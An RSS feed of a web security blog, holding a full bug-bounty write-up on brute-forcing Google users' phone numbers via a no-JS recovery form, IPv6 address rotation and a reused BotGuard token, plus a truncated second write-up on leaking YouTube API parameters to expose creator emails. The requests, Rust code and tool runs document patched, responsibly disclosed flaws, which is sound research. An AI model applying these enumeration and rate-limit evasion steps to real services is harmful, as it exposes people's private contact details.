<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>skull's blog</title>
        <link>https://brutecat.com</link>
        <description>a web security blog</description>
        <lastBuildDate>Thu, 06 Nov 2025 04:30:42 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>en</language>
        <image>
            <title>skull's blog</title>
            <url>https://brutecat.com/assets/favicon.svg</url>
            <link>https://brutecat.com</link>
        </image>
        <copyright>brutecat.com</copyright>
        <item>
            <title><![CDATA[Leaking the phone number of any Google user]]></title>
            <link>https://brutecat.com/articles/leaking-google-phones</link>
            <guid>leaking-google-phones</guid>
            <pubDate>Mon, 09 Jun 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[From rate limits to no limits: How IPv6's massive address space and a crafty botguard bypass left every Google user's phone number vulnerable]]></description>
            <content:encoded><![CDATA[<p>A few months ago, I disabled javascript on my browser while testing if there were any Google services left that still worked without JS in the modern web. Interestingly enough, the username recovery form still worked!</p>
</br>

<div class="embedded-content" data-embed-src="/articles/embeds/leaking-google-phones/username_recovery.html"></div>

</br>

<p>This surprised me, as I used to think these account recovery forms <a href="https://news.ycombinator.com/item?id=18349887" >required javascript since 2018</a> as they relied on botguard solutions generated from heavily obfuscated proof-of-work javascript code for anti-abuse.</p>
<h3 id="a-deeper-look-into-the-endpoints">A deeper look into the endpoints</h3><p>The username recovery form seemed to allow you to check if a recovery email or phone number was associated with a specific display name. This required 2 HTTP requests:</p>
</br>

<p><strong>Request</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/signin/usernamerecovery</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>accounts.google.com
<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>__Host-GAPS=1:a4zTWE1Z3InZb82rIfoPe5aRzQNnkg:0D49ErWahX1nGW0o
<span class="hljs-attribute">Content-Length</span><span class="hljs-punctuation">: </span>81
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/x-www-form-urlencoded
<span class="hljs-attribute">Accept</span><span class="hljs-punctuation">: </span>text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Email=+18085921029&amp;hl=en&amp;gxf=AFoagUVs61GL09C_ItVbtSsQB4utNqVgKg%3A1747557783359</code></pre><blockquote>
<p>The cookie and gxf values are from the initial page HTML</p>
</blockquote>
</br>

<p><strong>Response</strong></p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">302</span> Found
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>text/html; charset=UTF-8
<span class="hljs-attribute">Location</span><span class="hljs-punctuation">: </span>https://accounts.google.com/signin/usernamerecovery/name?ess=..&lt;SNIP&gt;..&amp;hl=en</code></pre><p>This gave us a <code>ess</code> value tied to that phone number we can use for the next HTTP request.</p>
</br>

<p><strong>Request</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/signin/usernamerecovery/lookup</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>accounts.google.com
<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>__Host-GAPS=1:a4zTWE1Z3InZb82rIfoPe5aRzQNnkg:0D49ErWahX1nGW0o
<span class="hljs-attribute">Origin</span><span class="hljs-punctuation">: </span>https://accounts.google.com
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/x-www-form-urlencoded
<span class="hljs-attribute">Priority</span><span class="hljs-punctuation">: </span>u=0, i

<span class="language-xml">challengeId=0&amp;challengeType=28&amp;ess=<span class="hljs-tag">&lt;<span class="hljs-name">snip</span>&gt;</span>&amp;bgresponse=js_disabled&amp;GivenName=john&amp;FamilyName=smith</span></code></pre><p>This request allows us to check if a Google account exists with that phone number as well as the display name <code>&quot;John Smith&quot;</code>. </p>
</br>

<p><strong>Response</strong> (no account found)</p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">302</span> Found
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>text/html; charset=UTF-8
<span class="hljs-attribute">Location</span><span class="hljs-punctuation">: </span>https://accounts.google.com/signin/usernamerecovery/noaccountsfound?ess=...</code></pre></br>

<p><strong>Response</strong> (account found)</p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">302</span> Found
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>text/html; charset=UTF-8
<span class="hljs-attribute">Location</span><span class="hljs-punctuation">: </span>https://accounts.google.com/signin/usernamerecovery/challenge?ess=...</code></pre><h3 id="can-we-even-brute-this-">Can we even brute this?</h3><p>My first attempts were futile. It seemed to ratelimit your IP address after a few requests and present a captcha.</p>
</br>

<div class="embedded-content" data-embed-src="/articles/embeds/leaking-google-phones/captcha.html" data-embed-height="500"></div>

</br>

<p>Perhaps we could use proxies to get around this? If we take Netherlands as an example, the <a href="https://g.co/AccountRecoveryRequest" >forgot password flow</a> provides us with the phone hint <code>•• ••••••03</code></p>
</br>

<p>For Netherlands mobile numbers, they always start with <code>06</code>, meaning there&#39;s 6 digits we&#39;d have to brute. 10**6 = 1,000,000 numbers. That might be doable with proxies, but there had to be a better way.</p>
<h3 id="what-about-ipv6-">What about IPv6?</h3><p>Most service providers like <a href="https://vultr.com" >Vultr</a> provide /64 ip ranges, which provide us with 18,446,744,073,709,551,616 addresses. In theory, we could use IPv6 and rotate the IP address we use for every request, bypassing this ratelimit.</p>
</br>

<p>The HTTP server also seemed to support IPv6:</p>
<pre><code class="hljs language-bash">~ $ curl -6 https://accounts.google.com
&lt;HTML&gt;
&lt;HEAD&gt;
&lt;TITLE&gt;Moved Temporarily&lt;/TITLE&gt;
&lt;/HEAD&gt;
&lt;BODY BGCOLOR=<span class="hljs-string">&quot;#FFFFFF&quot;</span> TEXT=<span class="hljs-string">&quot;#000000&quot;</span>&gt;
&lt;!-- GSE Default Error --&gt;
&lt;H1&gt;Moved Temporarily&lt;/H1&gt;
The document has moved &lt;A HREF=<span class="hljs-string">&quot;https://accounts.google.com/ServiceLogin?passive=1209600&amp;amp;continue=https%3A%2F%2Faccounts.google.com%2F&amp;amp;followup=https%3A%2F%2Faccounts.google.com%2F&quot;</span>&gt;here&lt;/A&gt;.
&lt;/BODY&gt;
&lt;/HTML&gt;</code></pre><p>To test this out, I routed my IPv6 range through my network interface and I started work on <a href="https://github.com/ddd/gpb" >gpb</a>, using <a href="https://docs.rs/reqwest/latest/reqwest/struct.ClientBuilder.html#method.local_address" >reqwest's local_address method</a> on its <code>ClientBuilder</code> to set my IP address to a random IP on my subnet:</p>
</br>

<pre><code class="hljs language-rust"><span class="hljs-keyword">pub</span> <span class="hljs-keyword">fn</span> <span class="hljs-title function_">get_rand_ipv6</span>(subnet: &amp;<span class="hljs-type">str</span>) <span class="hljs-punctuation">-&gt;</span> IpAddr {
    <span class="hljs-keyword">let</span> (ipv6, prefix_len) = <span class="hljs-keyword">match</span> subnet.parse::&lt;Ipv6Cidr&gt;() {
        <span class="hljs-title function_ invoke__">Ok</span>(cidr) =&gt; {
            <span class="hljs-keyword">let</span> <span class="hljs-variable">ipv6</span> = cidr.<span class="hljs-title function_ invoke__">first_address</span>();
            <span class="hljs-keyword">let</span> <span class="hljs-variable">length</span> = cidr.<span class="hljs-title function_ invoke__">network_length</span>();
            (ipv6, length)
        }
        <span class="hljs-title function_ invoke__">Err</span>(_) =&gt; {
            <span class="hljs-built_in">panic!</span>(<span class="hljs-string">&quot;invalid IPv6 subnet&quot;</span>);
        }
    };

    <span class="hljs-keyword">let</span> <span class="hljs-variable">ipv6_u128</span>: <span class="hljs-type">u128</span> = <span class="hljs-type">u128</span>::<span class="hljs-title function_ invoke__">from</span>(ipv6);
    <span class="hljs-keyword">let</span> <span class="hljs-variable">rand</span>: <span class="hljs-type">u128</span> = <span class="hljs-title function_ invoke__">random</span>();

    <span class="hljs-keyword">let</span> <span class="hljs-variable">net_part</span> = (ipv6_u128 &gt;&gt; (<span class="hljs-number">128</span> - prefix_len)) &lt;&lt; (<span class="hljs-number">128</span> - prefix_len);
    <span class="hljs-keyword">let</span> <span class="hljs-variable">host_part</span> = (rand &lt;&lt; prefix_len) &gt;&gt; prefix_len;
    <span class="hljs-keyword">let</span> <span class="hljs-variable">result</span> = net_part | host_part;

    IpAddr::<span class="hljs-title function_ invoke__">V6</span>(Ipv6Addr::<span class="hljs-title function_ invoke__">from</span>(result))
}

<span class="hljs-keyword">pub</span> <span class="hljs-keyword">fn</span> <span class="hljs-title function_">create_client</span>(subnet: &amp;<span class="hljs-type">str</span>, user_agent: &amp;<span class="hljs-type">str</span>) <span class="hljs-punctuation">-&gt;</span> Client {
    <span class="hljs-keyword">let</span> <span class="hljs-variable">ip</span> = <span class="hljs-title function_ invoke__">get_rand_ipv6</span>(subnet);

    Client::<span class="hljs-title function_ invoke__">builder</span>()
        .<span class="hljs-title function_ invoke__">redirect</span>(redirect::Policy::<span class="hljs-title function_ invoke__">none</span>())
        .<span class="hljs-title function_ invoke__">danger_accept_invalid_certs</span>(<span class="hljs-literal">true</span>)
        .<span class="hljs-title function_ invoke__">user_agent</span>(user_agent)
        .<span class="hljs-title function_ invoke__">local_address</span>(<span class="hljs-title function_ invoke__">Some</span>(ip))
        .<span class="hljs-title function_ invoke__">build</span>().<span class="hljs-title function_ invoke__">unwrap</span>()
}</code></pre><p>Eventually, I had a PoC running, but I was still getting the captcha? It seemed that for whatever reason, datacenter IP addresses using the JS disabled form were always presented with a captcha, damn!</p>
<h3 id="using-the-botguard-token-from-the-js-form">Using the BotGuard token from the JS form</h3><p>I was looking through the 2 requests again, seeing if there was anything I could find to get around this, and <code>bgresponse=js_disabled</code> caught my eye. I remembered that on the <a href="https://accounts.google.com/signin/v2/usernamerecovery" >JS-enabled account recovery form</a>, the botguard token was passed via the <strong>bgRequest</strong> parameter.</p>
</br>

<p><img src="/assets/leaking-google-phones/bgtoken.png" alt=""  /></p>
</br>

<p>What if I replace <code>js_disabled</code> with the botguard token from the JS-enabled form request? I tested it out, and <strong>it worked??</strong>. The botguard token seemed to have no request limit on the No-JS form, but who are all these random people?</p>
<pre><code class="hljs language-bash">$ ./target/release/gpb --prefix +316 --suffix 03 --digits 6 -f Henry -l Chancellor -w 3000
Starting with 3000 threads...
HIT: +31612345603
HIT: +31623456703
HIT: +31634567803
HIT: +31645678903
HIT: +31656789003
HIT: +31658854003
HIT: +31667890103
HIT: +31678901203
HIT: +31689012303
HIT: +31690123403
HIT: +31701234503
HIT: +31712345603
HIT: +31723456703</code></pre><p>It took me a bit to realize this, but those were all people who had the Google account name &quot;Henry&quot; with no last name set, as well as a phone with the last 2 digits <strong>03</strong>. For those numbers, it would return <code>usernamerecovery/challenge</code> for the first name Henry and <strong>any last name</strong>.</p>
</br>

<p>I added some extra code to validate a possible hit with the first name, and a random last name like <code>0fasfk1AFko1wf</code>. If it still claimed it was a hit, it would be filtered out, and there we go:</p>
<pre><code class="hljs language-bash">$ ./target/release/gpb --prefix +316 --suffix 03 --digits 6 --firstname Henry --lastname Chancellor --workers 3000
Starting with 3000 threads...
HIT: +31658854003
Finished.</code></pre><blockquote>
<p>In practise, it&#39;s unlikely to get more than one hit as it&#39;s uncommon for another Google user to have the same full display name, last 2 digits as well as country code. </p>
</blockquote>
<h3 id="a-few-things-to-sort-out">A few things to sort out</h3><p>We have a basic PoC working, but there&#39;s still some issues we have to address.</p>
<ul>
<li><p><a href="#how-do-we-know-which-country-code-a-victim-39-s-phone-is-" >How do we know which country code a victim's phone is?</a></p>
</li>
<li><p><a href="#how-do-we-get-the-victim-39-s-google-account-display-name-" >How do we get the victim's Google account display name?</a></p>
</li>
</ul>
</br>

<h4 id="how-do-we-know-which-country-code-a-victim-39-s-phone-is-">How do we know which country code a victim&#39;s phone is?</h4><p>Interestingly enough, it&#39;s possible for us to figure out the country code based off of the phone mask that the <a href="https://g.co/AccountRecoveryRequest" >forgot password flow</a> provides us. Google actually just uses <a href="https://github.com/google/libphonenumber" >libphonenumbers</a>&#39;s &quot;national format&quot; for each number.</p>
<p>Here&#39;s some examples:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
    ...
    <span class="hljs-attr">&quot;• (•••) •••-••-••&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
        <span class="hljs-string">&quot;ru&quot;</span>
    <span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;•• ••••••••&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
        <span class="hljs-string">&quot;nl&quot;</span>
    <span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;••••• ••••••&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
        <span class="hljs-string">&quot;gb&quot;</span>
    <span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;(•••) •••-••••&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
        <span class="hljs-string">&quot;us&quot;</span>
    <span class="hljs-punctuation">]</span>
<span class="hljs-punctuation">}</span></code></pre><p>I wrote a script that collected the masked national format for all countries as <a href="https://github.com/ddd/gpb/blob/main/data/mask.json" >mask.json</a> </p>
</br>

<h4 id="how-do-we-get-the-victim-39-s-google-account-display-name-">How do we get the victim&#39;s Google account display name?</h4><p>Initially in 2023, Google changed their policy to only show names if there was direct interaction from the target to you (emails, shared docs, etc.), so they slowly removed names from endpoints. By April 2024, they updated their Internal People API service to completely stop returning display names for unauthenticated accounts, removing display names almost everywhere. </p>
</br>

<p>It was going to be tricky to find a display name leak after all that, but eventually after looking through random Google products, I found out that I could create a <a href="https://lookerstudio.google.com" >Looker Studio</a> document, transfer ownership of it to the victim, and the victim&#39;s display name would leak on the home page, <strong>with 0 interaction required from the victim</strong>:</p>
</br>

<div class="embedded-content" data-embed-src="/articles/embeds/leaking-google-phones/looker_studio.html" data-embed-height="150"></div>

</br>

<h4 id="optimizing-it-further">Optimizing it further</h4><p>By using <a href="https://github.com/google/libphonenumber" >libphonenumbers</a>&#39;s number validation, I was able to generate a <a href="https://github.com/ddd/gpb/blob/main/data/format.json" >format.json</a> with mobile phone prefix, known area codes and digits count for every country.</p>
<pre><code class="hljs language-json"> ...
  <span class="hljs-attr">&quot;nl&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;code&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;31&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;area_codes&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-string">&quot;61&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;62&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;63&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;64&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;65&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;68&quot;</span><span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;digits&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-number">7</span><span class="hljs-punctuation">]</span>
    <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
 ...</code></pre></br>

<p>I also implemented <a href="https://github.com/ddd/gpb/blob/main/src/workers/workers.rs#L63" >real-time libphonenumber validation</a> to reduce queries to Google&#39;s API for invalid numbers. For the botguard token, I wrote a <a href="https://github.com/ddd/gpb/tree/main/tools/bg_gen" >Go script</a> using <a href="https://github.com/chromedp/chromedp" >chromedp</a> that lets you generate BotGuard tokens with just a simple API call:</p>
<pre><code class="hljs language-bash">$ curl http://localhost:7912/api/generate_bgtoken
{
  <span class="hljs-string">&quot;bgToken&quot;</span>: <span class="hljs-string">&quot;&lt;generated_botguard_token&gt;&quot;</span>
}</code></pre><h3 id="putting-it-all-together">Putting it all together</h3><p>We basically have the full attack chain, we just have to put it together.</p>
<ul>
<li>Leak the Google account display name via Looker Studio</li>
<li>Go through <a href="https://g.co/AccountRecoveryRequest" >forgot password flow</a> for that email and get the masked phone</li>
<li>Run the <code>gpb</code> program with the display name and masked phone to bruteforce the phone number</li>
</ul>
</br>

<iframe src="https://www.youtube.com/embed/aM3ipLyz4sw" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>

<h3 id="time-required-to-brute-the-number">Time required to brute the number</h3><p>Using a $0.30/hour server with consumer-grade specs (16 vcpu), I&#39;m able to achieve ~40k checks per second.</p>
<p>With just the last 2 digits from the <a href="https://g.co/AccountRecoveryRequest" >Forgot Password flow</a> phone hint:</p>
<table>
<thead>
<tr>
<th>Country code</th>
<th>Time required</th>
</tr>
</thead>
<tbody><tr>
<td>United States (+1)</td>
<td>20 mins</td>
</tr>
<tr>
<td>United Kingdom (+44)</td>
<td>4 mins</td>
</tr>
<tr>
<td>Netherlands (+31)</td>
<td>15 secs</td>
</tr>
<tr>
<td>Singapore (+65)</td>
<td>5 secs</td>
</tr>
</tbody></table>
<p>This time can also be significantly reduced through phone number hints from password reset flows in other services such as PayPal, which provide several more digits (ex. <code>+14•••••1779</code>)</p>
<h3 id="timeline">Timeline</h3><ul>
<li>2025-04-14 - Report sent to vendor</li>
<li>2025-04-15 - Vendor triaged report</li>
<li>2025-04-25 - 🎉 <strong>Nice catch!</strong></li>
<li>2025-05-15 - <strong>Panel awards $1,337 + swag.</strong> Rationale: Exploitation likelihood is low. (lol)<br>Issue qualified as an abuse-related methodology with high impact. </li>
<li>2025-05-15 - Appeal reward reason: <a href="https://bughunters.google.com/about/rules/google-friends/5238081279623168/abuse-vulnerability-reward-program-rules#reward-amounts-for-abuse-related-vulnerabilities" >As per the Abuse VRP table</a>, probability/exploitability is decided based on pre-requisites required for this attack and whether the victim can discover exploitation. For this attack, there are no pre-requisites and it cannot be discovered by the victim.</li>
<li>2025-05-22 - <strong>Panel awards an additional $3,663.</strong> Rationale: Thanks for your feedback on our initial reward. We took your points into consideration and discussed at some length. We&#39;re happy to share that we&#39;ve upgraded likelihood to medium and adjusted the reward to a total of $5,000 (plus the swag code we&#39;ve already sent). Thanks for the report, and we look forward to your next one.</li>
<li>2025-05-22 - Vendor confirms they have rolled out inflight mitigations while endpoint deprecation rolls out worldwide.</li>
<li>2025-05-22 - Coordinates disclosure with vendor for <em>2025-06-09</em></li>
<li>2025-06-06 - Vendor confirms that the No-JS username recovery form has been fully deprecated</li>
<li>2025-06-09 - Report disclosed</li>
</ul>
]]></content:encoded>
            <enclosure url="https://brutecat.com/assets/google-phone-disclosure.gif" length="0" type="image/gif"/>
        </item>
        <item>
            <title><![CDATA[Disclosing YouTube Creator Emails for a $20k Bounty]]></title>
            <link>https://brutecat.com/articles/youtube-creator-emails</link>
            <guid>youtube-creator-emails</guid>
            <pubDate>Thu, 13 Mar 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[From creator privacy to phishing paradise: How a secret parameter could have exposed the private email addresses of monetized YouTube channels]]></description>
            <content:encoded><![CDATA[<p>Some time back, while playing around with Google API requests, I found out it was possible to <a href="/articles/decoding-google#leaking-request-parameters-through-error-messages" >leak all request parameters in any Google API endpoint.</a> This was possible because for whatever reason, sending a request with a wrong parameter type returned debug information about that parameter:</p>
</br>

<p><strong>Request</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/youtubei/v1/browse</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>youtubei.googleapis.com
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json
<span class="hljs-attribute">Content-Length</span><span class="hljs-punctuation">: </span>164

<span class="language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;context&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;client&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;clientName&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;WEB&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;clientVersion&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;2.20241101.01.00&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-punctuation">}</span>
  <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;browseId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">1</span>
<span class="hljs-punctuation">}</span></span></code></pre><blockquote>
<p>The server actually expects <code>browseId</code> to be a string like <code>&quot;UCX6OQ3DkcsbYNE6H8uQQuVA&quot;</code></p>
</blockquote>
</br>

<p><strong>Response</strong></p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">400</span> Bad Request
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json; charset=UTF-8
<span class="hljs-attribute">Server</span><span class="hljs-punctuation">: </span>scaffolding on HTTPServer2

<span class="language-bash">{
  <span class="hljs-string">&quot;error&quot;</span>: {
    <span class="hljs-string">&quot;code&quot;</span>: 400,
    <span class="hljs-string">&quot;message&quot;</span>: <span class="hljs-string">&quot;Invalid value at &#x27;browse_id&#x27; (TYPE_STRING), 1&quot;</span>,
    <span class="hljs-string">&quot;errors&quot;</span>: [
      {
        <span class="hljs-string">&quot;message&quot;</span>: <span class="hljs-string">&quot;Invalid value at &#x27;browse_id&#x27; (TYPE_STRING), 1&quot;</span>,
        <span class="hljs-string">&quot;reason&quot;</span>: <span class="hljs-string">&quot;invalid&quot;</span>
      }
    ],
    <span class="hljs-string">&quot;status&quot;</span>: <span class="hljs-string">&quot;INVALID_ARGUMENT&quot;</span>,
    ...
  }
}</span></code></pre><p>While YouTube&#39;s API normally uses JSON requests for web, it actually also supports another format called ProtoJson aka <code>application/json+protobuf</code></p>
</br>

<p>This allows us to specify parameter values in an array, rather than with the parameter name as we would in JSON. We can abuse this logic to provide the wrong parameter type for all parameters without even knowing its name, leaking information about the entire possible request payload.</p>
</br>

<p><strong>Request</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/youtubei/v1/browse</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>youtubei.googleapis.com
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json+protobuf
<span class="hljs-attribute">Content-Length</span><span class="hljs-punctuation">: </span>22

[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30]</code></pre></br>

<p><strong>Response</strong></p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">400</span> Bad Request
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json; charset=UTF-8
<span class="hljs-attribute">Server</span><span class="hljs-punctuation">: </span>scaffolding on HTTPServer2

<span class="language-bash">{
  <span class="hljs-string">&quot;error&quot;</span>: {
    <span class="hljs-string">&quot;code&quot;</span>: 400,
    <span class="hljs-string">&quot;message&quot;</span>: <span class="hljs-string">&quot;Invalid value at &#x27;context&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.InnerTubeContext), 1\nInvalid value at &#x27;browse_id&#x27; (TYPE_STRING), 2\nInvalid value at &#x27;params&#x27; (TYPE_STRING), 3\nInvalid value at &#x27;continuation&#x27; (TYPE_STRING), 7\nInvalid value at &#x27;force_ad_format&#x27; (TYPE_STRING), 8\nInvalid value at &#x27;player_request&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.PlayerRequest), 10\nInvalid value at &#x27;query&#x27; (TYPE_STRING), 11\nInvalid value at &#x27;has_external_ad_vars&#x27; (TYPE_BOOL), 12\nInvalid value at &#x27;force_ad_parameters&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.ForceAdParameters), 13\nInvalid value at &#x27;previous_ad_information&#x27; (TYPE_STRING), 14\nInvalid value at &#x27;offline&#x27; (TYPE_BOOL), 15\nInvalid value at &#x27;unplugged_sort_filter_options&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.UnpluggedSortFilterOptions), 16\nInvalid value at &#x27;offline_mode_forced&#x27; (TYPE_BOOL), 17\nInvalid value at &#x27;form_data&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.BrowseFormData), 18\nInvalid value at &#x27;suggest_stats&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.SearchboxStats), 19\nInvalid value at &#x27;lite_client_request_data&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.LiteClientRequestData), 20\nInvalid value at &#x27;unplugged_browse_options&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.UnpluggedBrowseOptions), 22\nInvalid value at &#x27;consistency_token&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.ConsistencyToken), 23\nInvalid value at &#x27;intended_deeplink&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.DeeplinkData), 24\nInvalid value at &#x27;android_extended_permissions&#x27; (TYPE_BOOL), 25\nInvalid value at &#x27;browse_notification_params&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.BrowseNotificationsParams), 26\nInvalid value at &#x27;recent_user_event_infos&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.RecentUserEventInfo), 28\nInvalid value at &#x27;detected_activity_info&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.DetectedActivityInfo), 30&quot;</span>,
    ...
}</span></code></pre></br>

<p>To automate this process, I wrote a tool called <a href="https://github.com/ddd/googleapi_tools" >req2proto</a>.</p>
</br>

<pre><code class="hljs language-bash">$ ./req2proto -X POST -u https://youtubei.googleapis.com/youtubei/v1/browse -p youtube.api.pfiinnertube.GetBrowseRequest -o output -d 3</code></pre></br>

<p>If we look at the output at <code>output/youtube/api/pfiinnertube/message.proto</code>, we can see the full request payload for this endpoint:</p>
</br>

<pre><code class="hljs language-proto">syntax = <span class="hljs-string">&quot;proto3&quot;</span>;

<span class="hljs-keyword">package</span> youtube.api.pfiinnertube;

<span class="hljs-keyword">message </span><span class="hljs-title class_">GetBrowseRequest</span> {
  InnerTubeContext context = <span class="hljs-number">1</span>;
  <span class="hljs-type">string</span> browse_id = <span class="hljs-number">2</span>;
  <span class="hljs-type">string</span> params = <span class="hljs-number">3</span>;
  <span class="hljs-type">string</span> continuation = <span class="hljs-number">7</span>;
  <span class="hljs-type">string</span> force_ad_format = <span class="hljs-number">8</span>;
  <span class="hljs-type">int32</span> debug_level = <span class="hljs-number">9</span>;
  PlayerRequest player_request = <span class="hljs-number">10</span>;
  <span class="hljs-type">string</span> query = <span class="hljs-number">11</span>;
  ...
}
...</code></pre><p>Equipped with this, I started looking around to find any API endpoints with secret parameters that might allow us to leak debug information.</p>
<h3 id="a-seemingly-secure-endpoint">A seemingly secure endpoint</h3><p>If you ever looked around at the requests sent by <a href="https://studio.youtube.com" >YouTube Studio</a> to load the &quot;Earn&quot; tab, you might have noticed the following request:</p>
</br>

<p><img src="/assets/youtube-creator-emails/earn_tab.png" alt=""  /></p>
</br>

<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/youtubei/v1/creator/get_creator_channels?alt=json</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>studio.youtube.com
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json
<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;

<span class="language-bash">{
  <span class="hljs-string">&quot;context&quot;</span>: {
    ...
  },
  <span class="hljs-string">&quot;channelIds&quot;</span>: [
    <span class="hljs-string">&quot;UCeGCG8SYUIgFO13NyOe6reQ&quot;</span>
  ],
  <span class="hljs-string">&quot;mask&quot;</span>: {
    <span class="hljs-string">&quot;channelId&quot;</span>: <span class="hljs-literal">true</span>,
    <span class="hljs-string">&quot;monetizationStatus&quot;</span>: <span class="hljs-literal">true</span>,
    <span class="hljs-string">&quot;monetizationDetails&quot;</span>: {
      <span class="hljs-string">&quot;all&quot;</span>: <span class="hljs-literal">true</span>
    },
    ...
  }
}</span></code></pre><p>It&#39;s used for fetching our own channel data that&#39;s displayed on the Earn tab. That being said, it&#39;s actually possible to fetch other channel&#39;s metadata with this, albeit with extremely few masks:</p>
</br>

<p><strong>Request</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/youtubei/v1/creator/get_creator_channels?alt=json</span> <span class="hljs-meta">HTTP/2</span>
